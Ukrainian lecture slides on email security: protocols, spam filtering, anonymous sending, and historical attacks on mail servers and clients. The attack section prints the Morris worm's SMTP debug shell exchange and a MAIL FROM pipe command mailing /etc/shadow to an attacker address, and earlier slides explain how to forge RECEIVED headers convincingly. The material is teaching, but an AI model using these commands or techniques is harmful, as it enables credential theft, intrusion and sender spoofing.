Безпека операційних систем і комп'ютерних мереж

Лекція 17

Безпека електронної пошти

Питання

- Протоколи електронної пошти
  - SMTP
  - POP3
  - IMAP4
- Загрози зловживання електронною поштою
  - Спам і боротьба з ним
  - Анонімне відсилання електронної пошти
- Атаки через систему електронної пошти
  - Атаки на поштовий сервер
  - Атаки на поштового клієнта

Протокол SMTP

- SMTP – це поштовий протокол хост-хост
- Протокол SMTP описаний у RFC 2821
- За стандартом SMTP-сервер працює на 25-му порту TCP
  - Підключитись до SMTP-сервера можна за допомогою клієнта Telnet
  - Будь-яке повідомлення від сервера за протоколом SMTP розпочинається з трьох символів-цифр, що визначають код завершення операції
  - Найчастіше зустрічається код 250, що підтверджує успішність операції

Встановлення SMTP-з'єднання

- Після встановлення TCP з’єднання, сервер видає привітання
  - Сервер називає себе і вказує поточну дату, час і часову зону
- Для продовження сеансу необхідно встановити SMTP-з’єднання
  - Для цього необхідно дати команду HELO і назвати себе
- Описаний вище обмін привітаннями є процедурою рукостискання, яка встановлює SMTP-з’єднання
  - SMTP-з’єднання не обов’язково встановлюється з використанням TCP-з’єднання
  - В якості транспорту можуть використовуватись й інші протоколи, як із встановленням з’єднання (наприклад, X.25), так і без нього (наприклад, UDP)

SMTP-транзакції

- Після встановлення SMTP-з'єднання можна розпочинати передавати поштове повідомлення
  - Передача кожного повідомлення здійснюється SMTP-транзакцією
- Спочатку необхідно вказати зворотну адресу (тобто, від кого йде це повідомлення) за допомогою команди MAIL FROM
  - Ця команда відкриває транзакцію.
- Далі йде команда RCPT TO, у якій вказується адреса одержувача
  - Один лист може бути адресований кільком одержувачам, для цього слід повторити команду RCPT TO необхідну кількість разів.
- Після цього видається команда DATA, яка переводить сервер у режим приймання тексту повідомлення

Ідентифікація в SMTP

- Відправник двічі ідентифікує себе: командою HELO і командою MAIL FROM
- У більшості випадків сам сервер за IP-адресою, з якої встановлене з'єднання, користуючись системою DNS визначає доменне ім'я відправника
- Сервер може перевіряти і порівнювати всі ці адреси, але може деякі з них просто ігнорувати. Поведінка різних серверів залежить від їх налаштувань
  - У спілкуванні з багатьма серверами у привітанні після HELO можна написати будь-що: сервер може взагалі ігнорувати введену адресу вузла (доменну чи IP)
  - Деякі сервери приймають повідомлення лише з домену цього сервера
  - Деякі сервери дозволяють відправляти повідомлення користувачам із "свого" домену – на будь-яку адресу, а усім іншим користувачам – лише на адреси "своїх" користувачів
  - Як правило, адреса, що передається командою MAIL FROM може бути ніяк не пов'язаною з адресою, з якої встановлено з'єднання. Сервер лише перевіряє синтаксичну коректність адреси.

Протокол POP3

- POP – це найпопулярніший протокол читання електронної пошти з сервера
- Протокол підтримує автентифікацію користувача
  - POP версії 2 підтримує парольну автентифікацію, але пароль передається серверу у відкритому (незашифрованому) вигляді
  - POP версії 3 надає додатковий метод автентифікації, що називається APOP, який приховує пароль
  - Деякі реалізації POP можуть використовувати для автентифікації Kerberos
- На поточний момент чинним є стандарт цього протоколу RFC-1939

Протокол IMAP4

- IMAP – це більш новий і менш популярний протокол читання електронної пошти, що описаний у RFC-3501, 3502
- IMAP4rev1 підтримує операції:
  - Створення
  - Видалення
  - Перейменування поштових скриньок
  - Перевірку надходження нових листів
  - Оперативне видалення листів
  - Встановлення й скидання прапорців операцій
  - Розбирання заголовків у форматі RFC-2822 та MIME-IMB
  - Пошук серед листів
  - Вибіркове читання листів
- Протокол IMAP призначений для того, щоби забезпечити з клієнтських робочих станцій читання і обробку пошти при її зберіганні на сервері
- Автентифікація здійснюється
  - або командою LOGIN (пароль передається у відкритому вигляді)
  - або командою AUTHENTICATE (пароль передається зашифрованим)

Загрози зловживання електронною поштою

- Як і будь-який інший сервіс, електронна пошта може бути використана не лише за призначенням, але й у зловмисних цілях
- Переваги електронної пошти легко обертаються значними ризиками у її використанні.
- Розглянемо такі загрози, що пов’язані з використанням електронної пошти:
  - Пересилання електронною поштою шкідливих програм
  - “Засмічення” та перевантаження поштової служби
  - Неконтрольоване використання електронної пошти
  - Розсилання спаму
- Будь-яка з цих загроз може спричинити серйозні наслідки для користувачів, а особливо – корпоративних користувачів (компаній). Це й втрата ефективності роботи, і зниження якості послуг інформаційних систем, і розкриття конфіденційної інформації.

Пересилання електронною поштою шкідливих програм

- Завдяки застосуванню MIME-стандарту електронна пошта може переносити значні об’єми інформації різних форматів даних у вигляді вкладень: файлів, що прикріплені до повідомлень
  - Ця властивість зробила електронну пошту практично ідеальним середовищем для перенесення різних небезпечних вкладень, а саме комп’ютерних вірусів, шкідливих програм, "троянських коней" і мережних хробаків
- Захист – впровадження антивірусної перевірки прикріплених файлів (не 100% ефективно)
- Більш ефективним засобом є блокування визначених типів файлів, до яких належать:
  - виконувані файли,
  - бібліотеки,
  - інсталяційні пакети,
  - файли, що можуть містити макроси й OLE-об’єкти,
  - файли-архіви.
- Блокування усіх зазначених типів вкладень суттєво обмежує функціональність електронної пошти, і тому повинно застосовуватись обережно й обґрунтовано

“Засмічення” та перевантаження поштової служби

- Значну небезпеку для корпоративної мережі становлять різні атаки з метою "засмічення" поштової служби
- Це, у першу чергу, пересилання у повідомленнях електронної пошти в якості вкладень
  - дуже великих файлів
  - спеціально підготованих архівних файлів, що під час розпакування катастрофічно збільшують свій об’єм (так звані “поштові бомби”)
- Спроби відкривання таких файлів чи розпакування архівів можуть призвести до збою системи
  - Небезпечно: з метою антивірусної перевірки спроба розпакування архівів може здійснюватись автоматично, без втручання користувача!

Неконтрольоване використання електронної пошти

- З точки зору бізнесу компаній значні проблеми створюються через те, що співробітники можуть використовувати електронну пошту у цілях, не пов’язаних з основною діяльністю, наприклад:
  - для обміну мультимедійним контентом: графічними, відео- та аудіофайлами,
  - приватного листування,
  - ведення власного бізнесу з використанням поштових ресурсів компанії,
  - розсилання резюме в різні організації.
- В результаті можуть спостерігатись:
  - зниження продуктивності роботи інформаційної системи через великі об’єми стороннього трафіку;
  - зниження продуктивності роботи окремих співробітників через невиправдані втрати робочого часу;
  - "засмічення" ресурсів інформаційної системи, в першу чергу – витрати дискового простору під сторонню пошту;
  - втрата позитивного іміджу компанії, і навіть можливість судових позовів до неї, через неправомірне пересилання співробітниками компанії каналами електронної пошти матеріалів, захищених авторським правом;
  - розкриття конфіденційної інформації.

Загроза розкриття конфіденційної інформації

- Загроза розкриття конфіденційної інформації напряму пов’язана з безконтрольним використанням електронної пошти.
- Небезпеку розкриття конфіденційної інформації зумовлюють такі особливості електронної пошти:
  - неможливість контролювати маршрут передачі листів;
  - неможливість контролювати копіювання й перенаправлення листів;
  - практична неможливість надійної автентифікації відправника та одержувача;
  - неможливість повернути/анулювати лист після його відправлення;
  - відсутність (без застосування додаткових засобів) закриття заголовків і вмісту електронних листів;
  - можливість зберігання копій повідомлень в архівах кожного з транзитних серверів між відправником і одержувачем;
  - велика ймовірність ненавмисного відправлення повідомлення за помилковою адресою.
- Простота копіювання електронного повідомлення і неможливість проконтролювати цю операцію призводять до того, що співробітник може передати конфіденційну інформацію будь-якій кількості людей як всередині корпоративної мережі, так і за її межами
  - Передача може бути здійснена анонімно, одразу чи через деякий час

Захист від витоку конфіденційної інформації

- Захист від витоку конфіденційної інформації вимагає впровадження контролю повідомлень електронної пошти, що включає:
  - контроль адресатів;
  - фільтрацію даних, що передаються, на наявність у текстах повідомлень або у прикріплених файлах “ключових” слів і виразів;
  - розмежування доступу різних категорій користувачів до архівів електронної пошти.
- Перегляд електронної пошти користувачів суперечить Конституції України!
  - користувач повинен сам дати згоду роботодавцю на перегляд своєї електронної пошти

Розсилання спаму

- *“Спам” – це анонімна масова незапитана розсилка.* Спам має три невід’ємні ознаки:
- *Анонімність* – приховує істинного виконавця розсилки.
  - Спам дуже часто є розсилкою рекламною, але саму розсилку виконують зовсім не ті, кого рекламує конкретне повідомлення
  - Правопорушення здійснює саме той, хто розсилає спам
    - Законодавство багатьох країн розглядає розсилання спаму як протиправні дії, які підлягають покаранню
- *Масовість* – саме масові розсилки відносять до спаму, і лише вони є прибутковим злочинним бізнесом.
- *Незапитаність* – невід’ємна ознака спаму
  - Масові рекламні розсилки можуть стати небажаними, однак якщо вони здійснюються внаслідок того, що користувач сам на них підписався, їх не можна віднести до спаму.

До визначення спаму не внесені деякі очікувані ознаки

- Дуже часто спамом називають рекламні розсилки в Інтернеті або взагалі будь-яку небажану або незапитану пошту. Це не є коректним.
- Спам не обов’язково є розсилкою рекламною!
- Це може бути:
  - політична агітація,
  - антиреклама,
  - дурні жарти,
  - цілеспрямоване розповсюдження шкідливого програмного коду
  - так званий “фішинг” (англ. – phishing)
    - Фішингом називають шахрайство, що має на меті видобування у користувачів їхніх конфіденційних даних, таких як паролі доступу, номери кредитних карток і тому подібне

Спам і небажана пошта

- Слід відрізняти спам від небажаної пошти
- До небажаної пошти можна віднести непотрібні і незапитані повідомлення
  - результат помилок користувачів або технічних збоїв служби розсилки
  - технічні повідомлення (наприклад, про неможливість доставки листа за одною із адрес із списку, про тимчасову відсутність сервісу, і тому подібне)
    - багато хто з користувачів такі повідомлення розглядає як небажані
  - незапитані листи від будь-кого, з ким користувач раніше не переписувався
    - Такі листи можуть бути діловими (комерційні пропозиції), а можуть бути і листами від старих знайомих.

Захист від спаму

- Захист від спаму полягає у впровадженні певних політик обробки поштових повідомлень
  - Такі політики здебільшого передбачають перегляд вмісту повідомлень і здійснення фільтрації за визначеними правилами
- Існують два базові підходи до фільтрації:
  - формальний
  - семантичний

Формальний підхід

- Формальний підхід включає фільтрацію за списками і за формальними ознаками повідомлення
- Використовуються “чорні” і “білі” списки
  - Чорний список – це список адрес (IP-адрес, доменних імен), які вважаються “спамерськими”
    - Існують організації, які складають і розповсюджують за підпискою такі списки
  - Білий список – це список адрес, пошту з яких слід приймати у будь-якому разі
    - Такі списки ведуть самі користувачі або адміністратори систем
- Формальні ознаки повідомлення – це
  - особливості полів у його заголовку (наприклад, відсутність адреси відправника, велика кількість адресатів, некоректні технічні заголовки)
  - формат самого листа (розмір, кількість і тип вкладень тощо)

Семантичний підхід

- Семантичний підхід включає аналіз вмісту листа і фільтрацію або за сигнатурами, або за лінгвістичними евристиками
  - Сигнатури дозволяють надійно розпізнавати вже відомі спамові повідомлення
  - Евристики – це набори характерних словосполучень з урахуванням їх ймовірнісних характеристик
    - Евристики дозволяють з певною мірою надійності розпізнавати нові, ще не відомі спамові повідомлення
    - Останнім часом найбільш ефективними вважають фільтри Байєса — для кожного слова у тексті повідомлення застосовують оцінку ймовірності того, що повідомлення з таким словом — це спам
- Слід визнати, що практично для усіх методів розпізнавання спаму характерні досить великий відсоток хибних спрацьовувань і далека від ста відсотків повнота фільтрації
  - Кращі показники – в аналізу за сигнатурами (для вже відомих повідомлень)
  - Фільтри Байєса набули найбільшого поширення, оскільки демонструють високу ефективність як для відомих, так і для нових спамових повідомлень
  - Для ефективної боротьби зі спамом слід застосовувати усі методи у комплексі

Анонімне відсилання електронної пошти

- Більшість зловживань системою електронної пошти не були б настільки поширеними, якби порушник завжди міг бути виявленим і покараним
- Існують способи анонімного відсилання електронної пошти
  - Коли ми розглядали протокол SMTP, ми наголосили на тому, що сервер вимагає ідентифікацію, але не завжди її використовує
  - Отже, користувач може назвати себе будь-як, в якості відправника також вказати будь-кого, і таке повідомлення скоріше за все буде відправлено
  - Але при детальному вивченні полів заголовку листа виявляється, що насправді у полі RECEIVED можна знайти доменне ім’я та IP-адресу того комп’ютера, з якого було сформоване поштове повідомлення

Заголовки поштового повідомлення(1/4)

Received: from mxfront13.mail.yandex.net ([127.0.0.1]) by mxfront13.mail.yandex.net with LMTP id JRhKf1cQ for <graiv@voliacable.com>; Thu, 24 Nov 2011 17:19:27 +0400

Received: from mx35.mail.ru (mx35.mail.ru [94.100.176.171]) by mxfront13.mail.yandex.net (nwsmtp/Yandex) with ESMTP id JQMGVpDK-JQMGDYYj; Thu, 24 Nov 2011 17:19:26 +0400

X-Yandex-Front: mxfront13.mail.yandex.net

X-Yandex-TimeMark: 1322140766

X-Yandex-Spam: 1

Authentication-Results: mxfront13.mail.yandex.net; spf=neutral (mxfront13.mail.yandex.net: 94.100.176.171 is neither permitted nor denied by domain of gmail.com) smtp.mail=$$$$$.$$$$$@gmail.com; dkim=pass header.i=@gmail.com

Received: from mail by mx35.mail.ru with local id 1RTZD4-0001PS-00 for graiv@voliacable.com; Thu, 24 Nov 2011 17:19:26 +0400

Заголовки поштового повідомлення(2/4)

X-ResentFrom: <m_graiv@mail.ru>

X-MailRu-Forward: 1

Received: from [209.85.215.176] (port=39400 helo=mail-ey0-f176.google.com) by mx35.mail.ru with esmtp id 1RTZD3-0001NQ-00 for m_graiv@mail.ru; Thu, 24 Nov 2011 17:19:25 +0400

Received-SPF: pass (mx35.mail.ru: domain of gmail.com designates 209.85.215.176 as permitted sender) client-ip=209.85.215.176; envelope-from= $$$$$.$$$$$@gmail.com; helo=mail-ey0-f176.google.com;

X-Mru-BL: 0:0:1120

X-Mru-PTR: mail-ey0-f176.google.com

X-Mru-NR: 1

X-Mru-OF: Linux ((Google 2))

X-Mru-RC: US

Received: by eaal12 with SMTP id l12so228759eaa.35 for <m_graiv@mail.ru>; Thu, 24 Nov 2011 05:19:24 -0800 (PST)

Заголовки поштового повідомлення(3/4)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=AoOsDLGp1UctB/O5B/HiMIHqyF5jou57KRf0nzadwDU=; b=OdlyzW2/15emfYYhrLmQwi85YQIe4nPP9ztFamOuFFQWVQ+UzlIIIUP057v2WyyTHE uDZD6+xmfF2c9mt7uBHcNRlmtlShWbAGmsTjn4AIwm91Dpfb6apPS6XqDr9DXxammlCa rdrixca4tcPtt1OvqrLss2Ya7w/jh27Aqdehg=

Received: by 10.213.27.82 with SMTP id h18mr2001087ebc.121.1322140763277; Thu, 24 Nov 2011 05:19:23 -0800 (PST)

MIME-Version: 1.0

Received: by 10.213.4.204 with HTTP; Thu, 24 Nov 2011 05:19:02 -0800 (PST)

In-Reply-To: <4ECE2D5A.8020500@voliacable.com>

References: <CAOCyGcwiqkt+ePrLws_+PjwjgMb213gzJ2Mfy2sVW2PFFHw4kA@mail.gmail.com> <4ECE2D5A.8020500@voliacable.com>

Заголовки поштового повідомлення(4/4)

From: XXXXXX YYYYYY <$$$$$.$$$$$@gmail.com>
Date: Thu, 24 Nov 2011 16:19:02 +0300
Message-ID:
<CAOCyGczpYj6f97Cu8ZvhXX3LFV66aYWXiOab4GWJPFSz62uM2Q@mail.gmail.com>
Subject: Re: Opera browser identification
To: m_graiv@mail.ru
Cc: #####.######@gmail.com
Content-Type: multipart/alternative;
boundary=000e0cd1e29089cb2d04b27ae279
X-Spam: Not detected
X-Mras: Ok
Return-Path: $$$$$.$$$$$@gmail.com
X-Yandex-Forward: 4ef0951fcae668f689eed1014917ccec

Сервіси анонімного доступу в Інтернеті

- В Інтернеті є сервери, які надають послуги щодо анонімного доступу до ресурсів мережі (так звані анонімайзери та proxy-сервери)
  - Не слід сліпо довіряти сервісам, що вони надають
    - З одного боку, вони дійсно приховують адресу користувача.
    - З іншого боку, більшість їх все ж зберігає IP-адресу у журналі реєстрації. Таким чином, якщо за допомогою такого сервера були здійснені злочинні дії (атака, розсилання спаму), то адресу, з якої було ініційовано такі дії, неважко виявити.
- Справжні зловмисники використовують ланцюги серверів, бо прослідкувати довгу послідовність серверів, на кожному з яких адреса була прихована, дуже складно
  - TOR та інші аналогічні сервіси
- Також зловмисники пишуть свої власні програми, які здійснюють формування повідомлень
  - Такі програми розміщують на серверах, що дозволяють користувачам розміщення і запуск на виконання власних програм, або на серверах, скомпрометованих внаслідок атаки.

Підробні поля RECEIVED

- Розглянувши формат заголовку повідомлення електронної пошти можна запропонувати ще один спосіб підміни адреси відправника’
- Необхідно вставити у заголовок ще одне або кілька полів RECEIVED під останнім у списку (тобто, першим за часом додавання) з цих полів
  - Таким чином буде здаватись, що сервер, на якому фактично було сформовано повідомлення, був лише транзитним
  - Підробка може бути виконана легко, але деякі ознаки дозволяють її виявити
- Щоби підробку виявити було дуже складно або взагалі неможливо, зловмисники повинні не лише вставити дані (поля RECEIVED) про насправді існуючі транзитні сервери, але й обрати правдоподібний маршрут передавання листа, а також правдоподібні формати полів RECEIVED
  - Правдоподібність маршруту в Інтернеті не дуже тісно пов’язана з географією, і повідомлення з Києва до Москви цілком ймовірно може йти через США і Канаду, але фахівці можуть оцінити правдоподібність маршруту, знаючи, до яких автономних систем належать сервери, і які зв’язки мають відповідні провайдери між собою
  - Формат полів RECEIVED змінюється від сервера до сервера, тому правдоподібність полів можна перевірити, порівнявши заголовок із справжніми записами цих серверів
- Нарешті, коректно підробленим має бути унікальний ідентифікатор повідомлення
  - Він містить доменне ім’я сервера-відправника, відмітку часу і деякий унікальний код
  - Формати ідентифікаторів змінюються від сервера до сервера
  - Код також не є цілком випадковим і підлягає перевірці

Атаки через систему електронної пошти

- Уразливості, що використовуються такими атаками, зумовлені недоліками у протоколах електронної пошти і помилками в реалізації програм, які забезпечують цей сервіс
- Атаки на поштовий сервер
  - Режим debug в Sendmail
  - Використання декодування повідомлення
  - Використання конвеєрів у полях MAIL FROM і RCPT TO
  - Помилки переповнення буфера
- Атаки на поштового клієнта

Атаки на поштовий сервер

- Поштовий сервер – це програма, яка часто виконується з правами системи або адміністратора
- З цією програмою через мережу може взаємодіяти віддалений користувач, від якого або взагалі не вимагається ніякої автентифікації, або автентифікація спрощена і легко піддається компрометації
- Таким чином використання вразливостей поштового сервера є привабливою можливістю для порушників, причому метою атаки може бути не система електронної пошти, а порушення конфіденційності або цілісності інформації на сервері, або взагалі повний контроль над ресурсами сервера

Режим debug в Sendmail

- Ця вразливість була використана хробаком Морріса для повністю автоматичного проникнення на віддалений комп'ютер і запуска на ньому програми на виконання
  - Це був перший гучний інцидент з Sendmail
- Фрагмент взаємодії хробака Морріса з сервером після встановлення з'єднання з портом 25 (тобто, за протоколом SMTP) виглядав приблизно так:

```
debug
mail from: </dev/null>
rcpt to: <"|sed -e '1,/^$/'d | /bin/sh ; exit 0">
data
cd /usr/tmp
cat > x14481910.c <<'EOF'
<текст програми зловмисника>
EOF
cc -o x14481910 x14481910.c; x14481910 128.32.134.16 32341 \
8712440; rm -f x14481910 x14481910.c
.
quit
```

Використання декодування повідомлення (1/2)

- До повсюдного застосування формату MIME, бінарні файли пересилались електронною поштою у так званих UUE-повідомленнях.
  - UUE передбачає дуже просте кодування, при якому кожні 3 октети (24 розряди) бінарного файлу розбивались на 4 блока по 6 розрядів, і кожний з блоків замінявся одним символом ASCII згідно таблиці підстановки
  - Розмір файлу при цьому збільшувався на третину, але кожний з символів гарантовано попадав у діапазон кодів від 32 до 127, і тому міг коректно надсилатись електронною поштою
  - Алгоритм реалізовувався утилітами uuencode і uudecode
  - Передбачалось, що користувач сам вручну застосовує ці програми для своїх файлів, але поштові програми дозволяли автоматизувати цей процес
- У самому UUE-повідомлені перед вставленим закодованим файлом поміщався рядок

  begin 644 <filename>

  а після файлу –

  end

  де **<filename>** – ім’я файлу, в який пропонується розпакувати те, що знаходиться між рядками **begin** та **end**.

Використання декодування повідомлення (2/2)

- У поштовому сервері, що працює під UNIX-подібною ОС, є файл **/etc/aliases**, який містить поштові псевдоніми
  - Ці псевдоніми можуть вказувати і на програми, які повинні виконати обробку пошти
  - Псевдонім decode свого часу часто зустрічався на різних серверах. Рядок мав приблизно такий вигляд:

  decode: | /usr/bin/uudecode
- Оскільки поштовий сервер працює з правами root, **uudecode** також буде запущена з цими правами
- Після розпакування файлу, вона спробує зберегти його під вказаним у повідомленні ім'ям
  - Дуже часто (в залежності від версії і від налаштовувань) наявність такого файлу перевірятись не буде
  - Якщо файл існує, то запит на підтвердження заміни файлу здійснюватись також не буде (а кого запитувати?)
  - Права **root** дозволять **uudecode** без перешкод замінити будь-який файл у системі

Використання конвеєрів у полях MAIL FROM і RCPT TO

- Використання конвеєру у полі **RCPT TO** здавалось дуже очевидним, і тому воно було дозволено лише в режимі debug, мова про що йшла вище
- Як не дивно, але у полі **MAIL FROM** застосування конвеєра не заборонялось, і зловмисники могли досить довго і плідно його застосовувати
  - У разі виявлення некоректного адресата у полі **RCPT TO**, сервер видає повідомлення про помилку
  - Якщо проігнорувати це повідомлення і таки передати повідомлення командою **DATA**, сервер намагається надіслати відправнику, вказаному у полі **MAIL FROM**, повідомлення про помилку
  - Якщо ж у цьому полі був використаний конвеєр, то сервер при цьому відпрацьовував задану у адресі відправника команду
- Наприклад:

  HELO normaluser
  MAIL FROM: “| /bin/mail evilman@ukr.net < /etc/shadow”
  RCPT TO: nosuchuser
  DATA
  this line has no meaning
  .
  QUIT
  - **normaluser** - будь-яке коректне привітання
  - **nosuchuser** – некоректна адреса користувача
  - Текст листа значення не має

Помилки переповнення буфера

- Вони існували завжди, їх періодично виявляли і виправляли, але, скоріше за все, вони існують і зараз у сучасних поштових серверах
- Оскільки сервер приймає від користувача деякий рядок символів (в тому числі у вигляді полів заголовку повідомлення), потенційно є можливість сформувати деякий спеціальний рядок, що викличе некоректну роботу сервера – від відмови в обслуговуванні до виконання на сервері довільної команди
- Такі помилки зустрічались і в SMTP серверах, і у POP3-серверах

Атаки на поштового клієнта

- Атаки на поштових клієнтів можуть мати на меті або несанкціонований доступ до кореспонденції користувача, або проникнення на комп'ютер
- У корпоративному середовищі надійніше зберігати кореспонденцію на сервері
  - Пошта на комп'ютерах користувачів зберігається у поштових файлах і папках різних форматів, в залежності від того, який саме поштовий клієнт використовується
  - Спільна їхня риса – недостатній захист. Якщо порушник має доступ до комп'ютера користувача, то з великою ймовірністю він зможе отримати доступ до файлів, у яких зберігається пошта.
- І протокол POP3, і протокол IMAP4 передбачають процедуру автентифікації, в якій пароль передається мережею у зашифрованому вигляді. Поштові клієнти зберігають паролі доступу до поштових скриньок для того, щоби здійснювати автоматичне зчитування нової кореспонденції
  - Оскільки поштовому серверу слід передавати сам пароль, клієнт не може застосовувати до нього односторонні функції
  - Не усі клієнти застосовують надійне шифрування паролів
- Дуже часто виявляється, що поштові клієнти автоматично обробляють вкладення
  - розпаковують архіви,
  - розкривають Web-сторінки (виконуючи при цьому програми, що у них містяться, наприклад, на Javascript),
  - і навіть запускають на виконання програмні файли